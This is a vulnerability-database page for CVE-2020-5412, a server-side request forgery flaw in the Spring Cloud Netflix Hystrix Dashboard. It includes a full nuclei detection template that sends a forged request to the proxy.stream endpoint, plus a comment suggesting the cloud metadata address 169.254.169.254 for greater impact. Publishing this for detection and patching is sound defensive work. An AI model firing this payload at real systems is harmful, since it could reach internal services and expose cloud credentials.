HexBrain

Browse / CVEs / CVE-2020-5412

CVE-2020-5412· vmware / spring cloud netflix· CWE-610, CWE-441

Spring Cloud Netflix - Server-Side Request Forgery

mediumseverity
6.5CVSS score
10.2%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Spring Cloud Netflix 2.2.x prior to 2.2.4, 2.1.x prior to 2.1.6, and older unsupported versions are susceptible to server-side request forgery. Applications can use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. An attacker can send a request to other servers and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.

Impact

The vulnerability can result in unauthorized access to sensitive data or systems, leading to potential data breaches or further exploitation.

Fix

Apply the latest security patches or updates provided by Spring Cloud Netflix to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains in header "Jelly" AND status 200

Run it with nuclei: nuclei -id CVE-2020-5412 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-5412

info:
  name: Spring Cloud Netflix - Server-Side Request Forgery
  author: dwisiswant0
  severity: medium
  description: Spring Cloud Netflix 2.2.x prior to 2.2.4, 2.1.x prior to 2.1.6, and older unsupported versions are susceptible to server-side request forgery. Applications can use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. An attacker can send a request to other servers and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    The vulnerability can result in unauthorized access to sensitive data or systems, leading to potential data breaches or further exploitation.
  remediation: |
    Apply the latest security patches or updates provided by Spring Cloud Netflix to mitigate the vulnerability.
  reference:
    - https://tanzu.vmware.com/security/cve-2020-5412
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5412
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/pen4uin/awesome-vulnerability-research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-5412
    cwe-id: CWE-610,CWE-441
    epss-score: 0.10214
    epss-percentile: 0.9571
    cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_netflix
  tags: cve,cve2020,ssrf,springcloud,vmware,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: header
        words:
          - "Jelly"

      - type: status
        status:
          - 200

# To get crithit, try http://169.254.169.254/latest/metadata/

References

Use this check only on systems you are authorised to test. Where the data comes from